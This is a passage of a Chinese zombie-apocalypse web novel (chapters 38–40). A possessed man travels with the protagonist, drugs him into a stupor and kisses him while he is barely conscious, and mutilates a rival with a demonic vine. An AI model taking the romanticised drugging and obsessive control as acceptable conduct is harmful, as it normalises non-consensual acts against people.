所以他们对于每一个即将加入他们的人,都异常反感。 哪怕这人不过是个孩子。 众人瞧着一旁躺倒在地面色苍白的女人和用一盆水照顾她的男孩,忍不住咽了一口唾沫,但是他们却没有丝毫唾液,只有干涩的喉管反出刺痛来。 何复靠在角落里,冷眼瞧着不远处的座位上温柔的朝着男孩招手的青年,心胃仿佛被冰水浸满。 他并不相信青年会那么好心,还会救人。 可能是又想要耍人玩吧,青年一向喜欢这种游戏,他漠然想着。 楚青琅并没有注意到身后的视线,他将手中的药推了过去,轻声哄道:“这些都是一些消炎的,还有一些退烧的,你拿去,记得好好照顾妈妈,知道吗?” 男孩不到十岁,整个人瘦瘦小小,一双眼睛却格外闪亮,听见楚青琅的话后,他连忙点了点头,伸手珍惜的拢着那些药,恨不得下一刻就飞奔到母亲的身边。 但是下一刻,他的肚子却咕噜噜的叫了起来,男孩一下子红了脸。 楚青琅软了眉眼,他说:“别担心,既然救下你了,那肯定会让你吃饱的。” 男孩怔怔的瞧着他,不知从何飘来肉的香气,在嗅见的瞬间使得肚子的叫声愈发大了起来。 沉闷的响声将他惊醒,男孩抬头,一道高大的身影居高临下的凝视着他,黑沉的眸子带着无机质般的凉意,仿佛尸体一般。 他被吓得转身就想要逃跑。 楚青琅按住了他的手,指了指一旁站着的厉权向他介绍,“这是厉先生。” 男孩冷静下来,细声细气叫人:“厉先生。” 但是他依然不敢看身旁的男人,莫名的,他总觉得这个男人对他带着敌意。 他对人的情绪很敏感,就像是先前,在瞧见楚青琅的第一眼,他就明白这个青年一定会帮助他,但是这个男人 会杀了他。 楚青琅看着男孩小心翼翼的把药拿走,有些疑惑的抬头,看向了一旁很明显在生气的人:“怎么了,还在生气吗?” 厉权摇头,无声询问:“吃什么?” 楚青琅双眼亮闪闪的,“想吃小羊排,还有青菜。” 就算知道已经新鲜蔬菜会坏的很快,但是楚青琅还是拿了很多。 毕竟他平常动脑子掌控大局揣度完成任务的进度已经很累了,在吃食上当然不能苛待自己。 而且,现在厨子也有,他才不会在乎外人的眼光呢。 楚青琅看着面前的男人点头,随后,在旁边人隐约的注视下拿出了从餐馆顺来的锅碗瓢盆。 就这样在车上开了火,做起了饭来。 楚青琅跟在一旁,笑着这边摸一把,那边摸一把,最后被眉心直跳的厉权劝去洗了青菜。 但是在走之前,厉劝还特意为他披上了一个毯子。 动作间,那双眼眸深邃极了。 楚青琅蹲在高速路边上,扭开一瓶矿泉水,倒入碗里,然后拿起青菜浸入水中,开始慢悠悠的洗起来。 水流声下是轻微的吞咽声。 很快,一个人就悄悄的摸了过来,弓着背,小声说:“您可以分给我一瓶水吗?” 在楚青琅疑惑的目光中,他又比划道:“我已经两天没喝水了,一点点也行,我还有孩子,她还小,不能不补充水分啊,洗菜的水也可以。” 那人哀求着,惨败的面上带着惶然,就在他还准备说些什么的时候,一瓶水递到了他的面前。 青年神情温和,“别这样说,给,现在大家的处境都是一样的,我们当然要互帮互助。” 那人愣了下,没想到他这么好说话。 连忙伸手准备将水抢过去,但是谁知青年却又收回了手,同时笑着说:“你是不是应该对我说什么?” 面前的人急切的前倾身子,脑子快速转动,小声回复:“谢……谢谢?” 楚青琅点了点头,回复:“不客气。” 他转身扭开瓶盖,将水朝着菜上浇去,全然没有要给水的意思。 那人彻底呆住,又哀求起来。 楚青琅说:“可是这是我和我同伴的水,他还没有同意呢,你要不要去问问他?” 那人回头瞅了一眼明显不好惹的厉权,讷讷无言,郁闷的准备转身快步离开。 楚青琅随手将浇空的矿泉水瓶捏扁,又拿着一瓶晃了晃。 笑着递给他说:“开玩笑呢,给。” “谢谢你,谢谢你。” 那人意外的惊喜的瞧过去,心甘情愿真诚的朝青年鞠了一躬,伸手接了水。 楚青琅看着他的背影摇了摇头。 这种插曲并没有影响他的心情,很快,他就又认真的洗起那几根青菜来。 那人开了一个好头,同样也像着其他人表明了青年确实是一个心软的好人,而只要是一个好人,就能够被人摄取利益。 很快,楚青琅就被一堆人围了起来。 要水的,要吃的的,要衣服的 态度还都是极为恳切,仿佛只要他不帮助,他们就会死去。 还真是贪婪。 楚青琅松松握着那几根青菜,眼中闪过淡漠,他将青菜递了过去。 就在周围的人准备上来抢的时候,一道漆黑高大的身影将他们挤开。 随即楚青琅就感觉腰间突然传来一股力道,手臂被顺势按下,视线一片昏暗。 他撞进一处冰冷潮湿的怀抱。 机械的冷漠的声音在头顶传来。 “滚!” 楚青琅想要抬头,却被压着后脑无法动弹。 他意外的想,厉权怎么突然能说话了?! 围绕的人看着青年已经动摇,但是却被人中途截胡,他们很快就愤怒起来。 “你谁啊?” “这是他自愿给我们的,你有什么资格插手?” “就是!你们物资那么多,而且还靠着我们开道才走的那么快,两个人也用不了多少,分我们一些怎么了?” 厉权握着手机,手机里传来毫无起伏的机械音。 “别像鬣狗一样贪婪不知所谓,最后一次警告,滚!” 灰白高大的人影就这样站在他们面前,扫视而来的漆黑眸子阴冷,唇却暗红,但是这一抹红反而像极了纸扎人上的妆,色泽艳丽却透着遮掩不住的死气。 机械音落下,空气一片寂静。 明明是这么诡异好笑的画面,但是当众人对上男人的时候,心中却生出面对那些丧尸一般的惊恐感。 面前的人是披着人皮的不可名状的东西,甚至比能够被杀死的丧尸更加令人恐惧。 他是未知。 于是等楚青琅被松开的时候,周围的人已经四散而去,他们背对着他们蹲坐在厢车篝火旁,脊背透着明显的紧绷感。 楚青琅意外抬头,“你怎么他们了?” 厉权没有回答,只是敲了几个字。 ——“不要太温和,对待他们,要凶一点。” 楚青琅弯起了眼,他其实并不在意这些的,毕竟他只是一个过客。 他说:“知道了,厉先生。” 得到回答的厉权摸了摸他的头,拽着他的手腕将人带到了后备箱处。 后备箱支起了简易的桌子,上面摆放着两菜一汤,除了楚青琅所说的羊排和青菜,还有一份豆腐酸汤,很明显,就厉权让他去洗青菜只是为了让他不打扰自己。 楚青琅欣喜的坐下,俊美的面容在昏暗的灯光照耀下,显得乖巧顺服,他扫视了一圈饭菜,仰头看着男人夸赞道:“厉先生好厉害!你怎么会做饭啊?我看厉家不是有厨师吗?” 厉权垂眼,他打字道:“遇到过意外,练过。” 楚青琅追问:“什么意外啊?还能让你特意学习做饭?” 厉权放下了手机,他拿起筷子掰开,细致的褪去上面的木刺,把筷子放到了楚青琅的手上,并没有要再次开口的意思。 想来也不是什么大事,毕竟厉先生看起来就是没有吃过苦头的人,也许只是兴趣罢了。 不过既然他不乐意说,楚青琅也就没有再问。 他在厉权沉默的注视下吃起了饭。 羊排鲜嫩汁水充足,口感很好,酸汤开胃,青菜解腻,还有米饭,吃的楚青琅一脸满足。 很难说他一直想要执着的完成任务,没有这些人类食物的作用。 吃着吃着,楚青琅突然想起来什么,他拿起另外的碗,将米饭和菜拨了一些,随后朝着一旁望去。 不远处的男孩一直在注意着他们,看见楚青琅朝着他招手,很快就小跑了过来,站在青年面前,乖巧道:“楚哥。” 随后犹豫了一下,避开厉权望过来的视线,小声道:“厉先生。” 楚青琅将手中的碗递给他,笑着说:“吃吧,以后这个碗就是你的专属噢,记得吃完过来要水洗一洗。” “谢谢楚哥。” 男孩道完谢后,捧着饭菜就朝着自己母亲躺下的地方跑去,仿佛背后有什么危险的东西一般。 楚青琅收回视线,看着一脸严肃的厉权,凑近道:“别这么凶啊,你看你把他吓的。” 厉权淡淡的瞧他,伸手作势将菜收回。 楚青琅连忙按住他的手,软声保证,“好啦,我不说了。” 只是到了后面,那双湛蓝美丽的双眼,笑意几乎要溢出来,瑰丽的紫仿若银河幻梦,引人沉醉。 第39章 第 39 章 厉权/厉屿 夜色暗沉, 楚青琅吃饱喝足躺在车子里面。 普通人都回到车里,警戒的人钻进了帐篷,何复身边的人过来询问过是否需要帐篷睡袋什么的,但是被楚青琅拒绝了。 因为天气越来越冷, 厉权就用热水袋给他灌了一些热水放到毯子中, 随后坐在了车子的裂缝处, 为他挡风。 说起来就算是记忆中的厉先生, 也没有这么体贴,大多数都是原身费尽心机的向他提供情绪, 尤其像做饭这种事情,都是原主来做,顺便增加感情。 怎么到了现在,都反了过来? 楚青琅扭头瞧去。 自从末日爆发,漆黑的天空碎星极多, 映衬的篝火渺小。 零星的火星跳起,又在空中熄灭。 厉权的面容冷硬,坐在那里仿佛石头雕刻而成, 偶然亮起的火光映出他皮肉之下的骨骼起伏, 为其刻下深深的幽暗阴翳。 他忽然想到, 如果是厉权经历那些事情,他没准不会像厉屿一样黑化的彻底, 不过也不一定, 毕竟世界意识想要的是一个反派,那么无论是谁,在变成反派的路上,一定会品尝到来自世界的恶意。 喜欢反派的最终会背叛,反派喜欢的最终会走向死亡, 朋友反目,亲人冷漠。 这样想来,厉屿还真是可悲。 不过厉屿怎么直到现在都没个动静,难道是放弃杀他了? 但是当时看他并不像是要轻易放过他的样子啊? 估计是要来个大的。 再有一天就能到A市了,只要到了A市,楚青琅就不用管厉屿要对他做什么了,到时候,就算是要杀他,也是直接为他完成任务。 在他握着毯子思索时,亮着屏幕的手机被推过来。 “为什么救他?” 楚青琅有些疑惑,他问:“厉先生说的是谁?” 厉权撑着门,垂眸瞧着他,张嘴仿佛要说话,但是喉咙处的皮肉一阵蠕动,楚青琅隐约望见有柔软的东西动口腔中冒出。 最终厉权还是闭上了嘴,只是摊平楚青琅的掌心轻划,“那个小孩。” 楚青琅有些无奈,厉权怎么对那个孩子这么关注? 在他把那个小孩带到车子上之后,他就觉得厉权有那里不对劲了。 但是当着小孩子的面上,他也不好询问厉权有什么不满,就一直拖延到了现在。 楚青琅弯起唇,说:“厉先生不觉得他和我很像吗?” 厉权沉默。 楚青琅接着道:“如果厉先生的身份被人发现的话,我一个人肯定是没有办法的,所以我希望到时候会有一个好心人,帮帮我们。” 空气中只有接二连三的咽口水的声音,不用转身,厉权就能透过魔藤的视角,看见那些人是用怎样贪婪的目光瞧着那个男孩手中留给母亲的饭菜。 而在这种环境下,男孩带着母亲,不仅不会对救他的人心生感激,反而会恨他, 恨他为什么要救自己,为什么要拦着那些人让他自生自灭,为什么不干脆像那些人一样,逼他把“妈妈”这个累赘抛弃 ‘厉权’明白接下来的发展,因为重生前,就是他救下的男孩,品尝到了被背叛的痛苦。 现在,轮到面前的仇人了,按照计划,他会用厉权的身份一直注视着他。 但是为什么会有些不愉。 就像是先前他做的那些事情,明明不需要做到那种水平,只要他不出手,青年就会按照计划饱受折磨,但是为什么一出门,看见那灿烂的笑颜,他就刻意修补了一下这具身体。 为什么青年对他的态度没有对厉权那么好?在他面前虚情假意暗藏杀意,在厉权面前又那么乖巧温软。 明明厉权不会做饭,是他会,厉权没有办法打退那些对青年心怀不轨的人,他可以,厉权没有办法再青年被刁难的时候解围,解围的人是他 是不是只要他披着厉权的皮子,面前的人就会一直不变? 楚青琅疑惑的看着面前的男人,坐起身问:“怎么了?” 厉权打字的频率一向很快,但是现在明明想要询问的只有几个字,他却打了许久。 而楚青琅也耐心的等着。 几分钟后,他将屏幕翻转过来。 ——“如果,他背叛你了怎么办?” 楚青琅仿佛看见什么有趣的东西一般,他捂住勾起的唇,只露出一双被浓密眼睫遮挡住的双眼,闪着微微幽蓝光芒。 “我对于人性的期望很低,就算背叛又如何呢?我帮助他,只是为了自己当时的心情,我不会把无谓的期待放在别人的身上。” 他俏皮的点了点厉权的胸口,叫他,尾音拉长。 “我的厉先生——我以为你经手过那么大的商业帝国,已经看透这些了。” 清越温柔的嗓音落下,却仿佛一震重锤,敲在了厉权的心上。 他下意识的张了张口,仿佛突然被拔去了这身虚假的皮,漏出了自己那血肉模糊又狼狈的灵魂。 * “老大,你还不睡啊?” 何复只是“嗯”了一声,随即又闭上了嘴。 宋约偷摸蹲到一边,顺着何复的视线一眼就看见了不远处正朝着外面走去的两人的背影,他有一瞬间的无语。 你说你装的这么无所谓,这么冷淡,怎么还偷摸看着人家。 何复眸光幽幽的瞧着他们消失,突然问道:“他们去干什么?” 宋约下意识说:“还能干嘛,两个人相亲相爱,当然是要做些爱做的事情,就是不知道那个厉先生那副样子能不能满足人我滚。” 看着何复几乎要杀人的视线,宋约悻悻拿着手中的食物清单和地图,闭上嘴溜远。 何复站起身,下意识的摸了摸脖子,仿佛在犹豫着什么。 随即,他大步流星的朝着外面走去。 夜晚天色暗沉,视线范围极为有限,再加上高速道路两边是密集的树木,只是一个晃神,何复就找不到两人了。 他却只是握着枪,心脏跳的飞快。 明明末日来临的时候他只是想要找到他的痕迹或者尸体,然后鞭尸也好,大卸八块也行,只要确认了青年的存在就行。 但是当第一眼瞧见那个人的时候,他心中第一时间涌现的不是厌恶恨意,也不是喜悦。 而是恐惧。 他几乎是头晕目眩的看着青年对他绽开笑颜。 一如既往。 没关系,远离就好,他这样安慰自己。 但是青年为什么要过来,为什么还要折磨他?为什么还要给他希望? 何复不清楚,但是此时那股莫名情绪充斥了肺腑,连眼球都涨的发痛。 在他一个人试图冷静的时候,那个人竟然和别人在一起? 他踩着枯枝落叶,一步一步的朝着林子深处走去。 一个人的喘息声是如此的轻微。 但是何复还是在一瞬间就将其和脑海中戏谑的尾音对上。 按着粗糙的树木,他看见两个人身影重叠的人。 * 楚青琅在被拽出来的时候,脑子是发懵的。 他回想了一下自己说的话,却并没有找出什么不对。 不知走了多久,手腕被紧握的力道攥的发痛,就算是楚青琅这样温和性子的人也微微皱起了眉。 就在他准备开口询问的时候,眼前一花,整个人就被按在了树上。 后背闷痛。 “怎么了?” 楚青琅仰头,无奈的瞧着面前的人,心中叹息。 明明在他的记忆里,厉权是一个情绪稳定的人,但是此时他怎么感觉面前的人和厉屿那么像,难道这就是父子的共通之处吗? 厉权脸上皮肉绷紧,眼角到下颌处冒出了细密的,像鳞片又像是树木纹路一般的痕迹,拱卫着那双猩红眼眸。 接着,他拿起楚青琅的手,放在了自己的喉咙上。 修剪光滑的指甲,因为他压下去的力道而深入皮肉。 丧尸的体温极低,摸上去仿佛冻肉一般令人不适,楚青琅下意识的想要挣扎,却只听见一声嘶哑的嗓音响起:“别动。” 楚青琅有些惊讶的停住动作,“你能说话了?” 厉权没有回话,握着他的手继续深入,直到滑腻冰凉的感觉顺着指尖攀延而上,楚青琅不由得打了一个寒颤,这是他第一次如此清晰的感受到一个人咽喉的构造。 软骨在手指旁滑动,指尖忽地传来被缠绕束缚的感觉,仿佛活物。 楚青琅猛地收回手,却只见手指被带出一条细长的蔫蔫的藤蔓,他惊讶道:“这是跟着小屿的东西。” 仿佛被解开了禁锢,厉权咽喉处的伤口在转眼间恢复如初,他上前一步,低头望着青年湛蓝的眼眸,解释道:“这就是他给我下的禁锢,取出来就好了。我不会像她一样,拖累你。” 楚青琅反应了一会儿,哭笑不得道:“厉先生,我当时只是随口说了一下,你” 厉权垂眼,伸出手,似乎是想要把那个藤蔓捏死。 【救我,救我,救我。】 【楚楚,楚楚,楚楚,楚楚。】 细碎的尖叫猝然响起,装着厉权的样子的男人冷冷的注视着它。 青年就像是他想的那般心软,在他就要碰到那魔藤的时候错开了手。 “先别杀他,万一被小屿发现了怎么办?到了A市我们得到武器后就不怕他了,到时候再杀它好不好?” 楚青琅任由那株藤蔓顺着指尖爬到掌心,瑟瑟发抖,他虚虚拢着手,试图安抚面前的人。 他当然不能让厉权杀它,一个凶兽如果失去了锁链,可是很难以控制的。 到时候要是阻碍他的主线任务怎么办? 毕竟一个爱着他,时刻关注他的人,一定不会看着他被反派杀死。 所以,这个还算听话的藤蔓就可以起一些作用,当作安全绳,拴住这条凶兽,不要妨碍他的任务。 厉权和他僵持了一会儿,还是放下了手。 他又上前一步,脖子弯折,和仰头的楚青琅面对面。 两人身躯间几乎没有了缝隙。 楚青琅疑惑的看着他,没有注意到缩在掌心的藤蔓顺着他的袖口钻进了衣服中。 直到他察觉到异样想要伸手将魔藤拽出来时,厉权对他缓缓露出笑容。 冷冽的线条柔和,双眸克制又深情。 自从楚青琅来到这个小世界,他只见过厉权两次笑容,第一次,带着异样的陌生之感,而这次,却是完美无缺。 这让他打心里感到一种悚然之感,仿佛碰到了披着人皮的恶鬼。 楚青琅紧贴着树干,却并没有多想。 毕竟厉权都可以为了他死,这一路上也没有对他有丝毫的逾矩,想来怎么也不会伤害他。 厉权靠近,擦着他的唇咬住了脖颈,“楚楚,叫我的名字。” 楚青琅被冰的抖了一下,感受着那尖锐的齿似有若无的摩擦着皮肉,他的心猛地提了起来。 他抬起手,搂住男人,温声说:“厉权,可以轻点吗?我怕痛。” 男人呼吸明显的粗重了一下,尖利的牙齿浅浅的刺入皮肉,却又猛地收起。 抬起头,出乎意料的,他面上带着怒意。 楚青琅愣了一下。 男人一双彻底变成红色的双眸困住面容含笑身躯僵硬的青年。 透过那红润微张的唇瓣,可以瞧见湿濡艳红的舌,不安的抵住下齿。 他忽地凑近。 利齿小心的收拢,眸子带着痴迷。 楚青琅被按着后脑艰难仰头,眼前一片晕眩,脑海中一个念头闪过。 不是他让他叫名字的吗?怎么生气了? 而且和丧尸亲的话,他不会变丧尸吧? 厉权的吻轻柔冰冷,格外坚定,就算他的手已经开始推拒,但是还是缓慢的,几乎是贴着他的舌前进,直到进无可进,触及咽喉。 双蛇绞缠,细微的摩擦都使得敏感的皮肤一阵酥麻。 楚青琅还是会因为这种让他失去理智的吻而战栗,他已经不明白自己倒底是冷还是热,只知道汗水从额头流下,随后被人舔舐干净。 但是厉权并没有放开他。 那么吻他的,倒底是那个唇? * 轻巧的脚步声由远及近,一道轻脆的金属碰撞的声音猛地惊醒了沉迷于香甜血肉的厉权。 他忽地伸手,将几乎挤进两人相贴的唇里的藤蔓揪出,搂住楚青琅的腰肢转了个方向。 看着举着枪对着他的何复。 眼神轻蔑又冷漠。 在他的身后,猝不及防的被甩出去的魔藤发出了一声刺耳的尖叫,身躯猛地变大,如蛇将树木彻底缠绕。 此时厉权已经彻底露出了那副丧尸模样,他不再遮掩。 英俊面孔被裂痕覆盖,肤色灰白,眼眸全红,身后,藤蔓上长出无数的寄生花,花蕊中淌出血色液体,说不上是芬芳还是腥臭。 液体流在地上,一颗颗眼珠和唇舌利齿在上面浮动。 以扭曲可怖的树木为背景,被丧尸搂住的青年献祭一般仰头。 白皙面孔微红,双眼紧闭,仿佛下一刻就会被啃噬掉全身血肉。 “放开他!” 何复几乎是下意识地想要冲上前去,却被一只藤蔓卷起腿,倒摔出去。 指节弯曲,他在半空中,击空了弹匣。 一颗颗的枪声响彻夜空,惊起变异鸦群在上空盘旋飞舞。 厉屿眼中满是粘稠恶意。 一个普通人,当然抵抗不了他。 但是楚青琅认识他,当时还说担心他。 所以何复不能死。 明明是自己提的要求。 明明是自己想要彻底融入这一个身份,但是当青年真正叫着那个不属于他的名字的时候,他还是格外的。 想要杀人。 * “咳咳!!” 何复给枪支上膛,跪在树下,一双细长的眼抬起,阴寒。 “你不是厉权!你到底是谁?” 他的枪并没有装消音器,这么大的动静,宋约他们一定听得见 怪物下半张脸还在和青年亲密缠绵,上半张脸如花一般绽开,红瞳嵌入血肉,随着何复的声音而转动,凝在他的身上。 舌变得细长,甜蜜迷幻的液体被他渡进青年口中,让青年神智混沌,只能依赖的,靠在他的怀中,任他动作。 魔藤收回根须,来到昏睡的青年面前,长出一簇百合和紫罗兰放进他的怀中,卷起他那垂落的手,放在花上。 就仿佛是给棺材中的人送花,但是那缠绵的轻柔的动作,令人心惊。 更多的寄生花塞满何复的视野,怪物几近于沉迷的搂紧青年,缠绕在树上的藤蔓反而裂开口子朝他说话。 “我?我当然是厉权。”那双嘴中细密的齿森冷,又一处根须来到他的面前,坠着一朵花,娇嫩花瓣张合,低哑男声便响起:“为什么要跟来?没关系,不能杀死你,那么那些人,是可以杀的吧?” 何复瞳孔骤缩,耳边,宋约和那些同伴喊他的声音由远及近。 他咽喉被紧紧缠住,示警的话语还未出声,就只剩下骨骼被勒紧的轻响。 “啊!!!” 那触须来到他的身前,顺着眼眶钻进,他捂住眼,感受着双眼被硬生生剜出来的剧痛。 肌肉抽搐,牙齿几乎咬的出血,他费尽全力的抬手想要用枪击杀那个怪物。 昏暗的目光中,那个怪物却只是任由他攻击,子弹飞出,被魔藤猛地挡住。 厉权红眸中满是冷酷和煞气。 脑海中,低哑的声音又一次响起。 “他想要跟着你们到A市,所以我不会将你们全部杀死。” “所以,闭上你的嘴,别乱说话。” 低哑的声音变的稚嫩尖锐,仿佛换了一个人在他的脑子里说话,格外痴迷缠绵。 【好香,楚楚,楚楚好香。】 【喜欢,喜欢,喜欢,喜欢,喜欢。】 何复感觉身躯变得僵硬起来。 他看着那个怪物搂着青年朝前走去,鞋底粘连着血红液体。 第40章 第 40 章 听话。 楚青琅醒来的时候, 感觉脑子好像被一层薄雾拢着。 他搂着绒毯坐起身,塞在身旁犹带温度的热水袋啪地掉落,让他意识到了自己状态的不对。 脑袋迟钝转动,咽喉鼻腔仿佛火烧一般。 他从未体验过这种感觉, 摸了摸喉咙, 视线下意识的寻找着厉权的身影。 楚青琅记得昨晚好像被亲了, 然后发生了什么? 他没有印象。 一只冰凉的手伸来, 摸了摸他的额头道:“你发烧了。” 楚青琅感受到那股冰冷,本能地伸手握着那手腕, 侧脸贴了贴,等到缓过神来后,他才发现面前的厉权怔愣的神情。 他疑惑的问:“厉先生?我怎么了?还有你怎么能开口说话了?” 厉权蹲在他的身旁,一旁车队里面警戒的人都已经醒来,拿着压缩饼干吃了起来, 只是动作间带着几分不易察觉的僵滞。 楚青琅看着,慢了半拍才反应过来,应该是到了出发的时候了。 厉权收回手, 将一杯水和药放在他面前。 他嗓音很低, 咬字间带着不易察觉得生硬, “你发烧了,把药吃了。” 楚青琅乖巧的点了点头。 他接过药扔进嘴里, 下意识咀嚼起来, 但是很快一股苦涩的感觉就在口腔中蔓延,他捂着嘴,一双蓝色的眼眸满是迷茫,带着水光。 “唔,好苦。” 厉权拿下他的手, 指尖撬开紧闭的唇,在高热的腔体中将湿漉漉的药片挖了出来,同时将水杯抵住青年的唇。 他说:“喝点水,不要嚼药,直接咽下去。” 楚青琅捧着水杯,小口小口的喝着,闻言萎靡的发出一声轻哼,表示知道了。 他从没生病过,还以为吃药和吃饭是一样的。 温热的水很快就将舌尖处的苦涩药味消去,胸口处突然传来酥麻的感觉,楚青琅迟钝的感觉到好像有东西在他的胸膛上面攀爬。 他把水拿远,低头看去,之间一条青嫩的仿佛蛇一样的东西从他的衣领中钻出来,然后勾起在他的下颌处蹭了蹭。 湿凉柔滑,除了没有鳞片,真的和蛇没什么区别。 看见这个东西,楚青琅突然想起一副画面。 男人紧紧贴在他身上,咽喉被他捅穿,然后带出来一个一个这东西? 楚青琅捏着魔藤上下晃了晃,青绿色的东西几乎分不清头尾,仔细看去,那青绿色的表皮下是深棕色的纹路,遍布全身。 他哑着声音说:“这是什么?” 厉权回答:“它是魔藤,不要掉以轻心,小心点它。” 楚青琅哦了一声,把魔藤放到膝盖上,伸手戳了戳,魔藤随着他的用力凹起身子,然后下半截翘起,在楚青琅想要离开的时候又勾住他的尾指。 只松松的,并没有带力气。 就仿佛是一只小动物,黏人的很。 莫名的,楚青琅找到了一种在主神空间和别的系统玩耍的感觉,他兴致勃勃的拨弄着它。 看着他们玩的开心,厉权站起身,准备去后备箱拿药。 但是那魔藤却仿佛嗅到什么一般,紧绷起身子,猛地跳出楚青琅的压着它的掌心,缠住厉权的指尖,钻进他的掌心。 然后冒出一张嘴,把那些从青年嘴里抠出来的药全部吞了下去。 楚青琅发懵的看着它的一系列操作。 在厉权挥手要将它甩开的时候,那颗魔藤又跳了回来,在他膝盖上躺成一条。 还那有什么嘴。 刚刚的画面就像是楚青琅的幻觉一般。 在青年背后,厉权横过去的眼神冷极了,于是魔藤躺的愈发直挺挺,还悄咪咪的蹭了蹭毯子,企图将自己藏在周围的绒毛中。 楚青琅把毯子掀开将魔藤裹起来,自己下了车子。 他跟着厉权来到车后,接过他手中的药扔进嘴里,然后喝了一些水咽了下去。 厉权接过水瓶,把后备箱中的米拿出来,他说:“我熬一些粥,你喝完再休息会儿。” 楚青琅靠在车身上,蔫蔫道:“不是要启程了?别耽误进度。” 厉权开始淘水洗米,他抬眼瞧了一会儿周围的人,说:“没关系,我已经和何复沟通过了,只是延迟半个小时而已,很快就好。” 他都这样说了,楚青琅也就同意了下来。 完全没有意识到有那里不对。 * 楚青琅回去又小睡了一会儿,等再次醒来的时候,厉权已经把饭做好了。 米粥浓稠,配上煮的鸡蛋和鲜虾青菜都摆在桌子上,令人垂涎欲滴。 楚青琅拿出不知何时又盘在他胸口的魔藤,下车简单洗漱了一下。 洗漱完,他只觉得脑子上的那层雾消失不见,身体上的沉重也散去了不少。 此时天色已经大亮,前面的车队变得安静极了,除了一些呼吸声之外,甚至没有人交谈的声音。 楚青琅接过厉权剥好的蛋,疑惑的望了过去,“他们怎么那么安静?” 厉权站在他的身旁,将鸡蛋壳朝着桌子上的魔藤扔去,在喀啦喀啦的咀嚼声中说:“丧尸毕竟是靠着听力寻人的,安静点会更加安全。” 说的也是,楚青琅信任的点头。 随即他想起今天就能到A市,心里就更加高兴起来。 他咬下一口蛋,还没咀嚼了两下,手当啷一下松开,把蛋扔到了碗里。 面上染上了惊慌的神情,连蓝眼睛也怔怔的。 厉权瞳孔放大了一瞬,他压着身子,凑近死死的盯着青年,问:“怎么了?” 是发现周围警戒的人被他控制了? 还是发现他不是厉权了? 要怎么做,怎么做才能让他和现在这样相处? 如果变成厉屿的话,青年绝对不会这样对他的,变成厉屿的话,就算是这些虚假的亲密都没有了。 此时,厉屿完全记不得自己将意识转移到厉权身体里的目的,分明是要看着青年受尽苦楚。 不可以,不可以。 厉权这身皮不能用的话,对了,何复。 楚楚对何复态度不错,他用何复的身体也是可以的。 一旦想象一下青年不再向他露出真心的笑容,不再向他撒娇亲近,厉屿就感觉心脏变得紧缩,无形的恐慌和戾气笼罩了他。 阴暗压抑气氛瞬间笼罩着这片空间。 魔藤警惕的竖立起来,头部冒出一口满是细密牙齿的嘴,朝着男人的方向低吼。 意识到自己在想什么的时候,厉屿手指抽搐了一下,猛地掰碎了桌角。 就在男人几乎要压抑不住自己本来的面目的时候,楚青琅忽然伸了伸舌头,然后用手掐了掐。 俊美的面上带着伤心,他将嘴里的蛋咽下,闷闷不乐道:“我尝不出味道了。” 男人下意识的重复:“尝不出味道了?” 楚青琅“嗯”了一声,沮丧的看着碗里剩余的鸡蛋。 对于他来说,这件事情简直比任务又一次出现bug还要他难过。 毕竟任务已经这么难完成了,现在就连美食都没办法品尝。 青年垂头,眼尾下垂,瞧起来格外可怜。 仿佛被人从地狱中硬生生的拽出来,厉权几乎说不出话来。 看着青年的表情,他安静了一会才道:“这是感冒后正常的状况,明天就会好了,到了A市我重新给你做好吃的。” 楚青琅抬头,“真的吗?” 看到厉权给予了确认的回复后,青年瞬间笑了起来。 灿烂的,温柔的,仿佛月光一般。 随即仿佛想到什么一般,楚青琅握着筷子道:“厉先生等一下,我去叫那个孩子过来吃饭,昨天我看见他把饭菜都留给了他妈妈,估计自己都没有吃多少。” 厉权拦住他,说:“我给他留菜了,我去叫他,你接着吃。” 厉先生虽然不喜欢小孩,但是还是很细心的嘛。 楚青琅点了点头。 厉权下车朝着货车走去,因为楚青琅是背对着的,所以完全看不见远方货车的情况,只能瞧见厉权速度很快的把小孩提溜了过来。 楚青琅看着他的动作,有些头痛道:“厉先生你动作轻一点。” 听了他的话,厉权明显放缓了动作,慢吞吞的把小孩放下。 男孩在踩着地的瞬间肚子就咕咕的响了一声,旋即他面色惨白的侧头瞧了一眼厉权,莫名的,楚青琅觉得相比起看见丧尸或者枪口,这个男孩更害怕厉权。 但是厉先生也没有做什么啊? 楚青琅眨了下眼,安抚的用手在他头上拍了下。 男孩明显瑟缩了一下,一双黑黝黝的眼睛望过来,张了张嘴,仿佛要说什么一般。 但是这时,一旁的厉权拿出一个装满饭菜的碗递了过去,男孩的嘴瞬间闭上。 男孩小心的说:“谢谢。” 楚青琅温柔的瞧着他,询问道:“你妈妈还好吗?” 男孩低头回答:“好多了,那些药起作用了,昨天妈妈醒了一段时间,我给她喂了点饭,估计很快就会好。” 楚青琅松了一口气,“那就好,我们很快就到A市了,到时候就有医生了。” 男孩默默的点头,捧着碗,楚青琅看他很紧张的样子,就先让他回去了。 看着男孩跑远的背影,他回头哭笑不得的对厉权道:“你之前肯定也是这样对待小屿的,所以他才和你这么不亲。” 厉权抬眼,夹起一块肉堵住了他的嘴。 楚青琅咬下肉,顺势闭上了嘴。 一旁躲起来的魔藤顺着楚青琅的手腕爬上了桌子,在楚青琅夹菜的时候,不断蹭着他的手腕。 被打扰到吃饭的楚青琅不厌其烦的把它放到桌子的一角。 沉默片刻。 厉权挥手将还想要上前的魔藤打下。 在楚青琅笑眯眯的视线中,魔腾扑通一声就栽倒在了地上,扬起一片灰尘。 等它气冲冲的露出牙齿朝着厉权咬去的时候,地上还留着一条清晰的印记。 一边,楚青琅边吃着饭边看魔藤一次又一次的被厉权击飞出去。 眼中的笑意几乎要溢出来一般。 厉权不经意的瞧见,动作顿了下,竟然被魔藤趁机在手上咬了一大口。 尖锐细密的齿深入皮肉,留下鲜明的伤口。 * 在楚青琅吃完早饭之后,车队也要启程了。 他将厉权赶到后座,难得善心大发的让他休息,虽然一个丧尸并不会感觉到累,但是楚青琅还是想在最后的这段路上,自己掌控方向。 他没有忘记,现在的厉权还是被厉屿所控制的。 中间要是厉屿想要玩什么最后破灭的希望,让他只能看着A市却无法进去就完蛋了。 厉权顺着他的意思坐在了后面,他靠着座位,脊背挺直,瞧着前面人的背影,一双浓黑眼眸幽暗无光。 魔藤蜷缩在青年的肩颈,随着车子的启动微微蹭着那柔嫩细腻的皮肤。 看了许久,厉权缓缓闭上了眼睛。 * 厉宅。 不过几日,爬山藤就缠满了墙壁,炽热阳光穿过玻璃洒落房内,留下一朵朵如花光斑。 这点光芒却完全照不亮空旷的别墅。 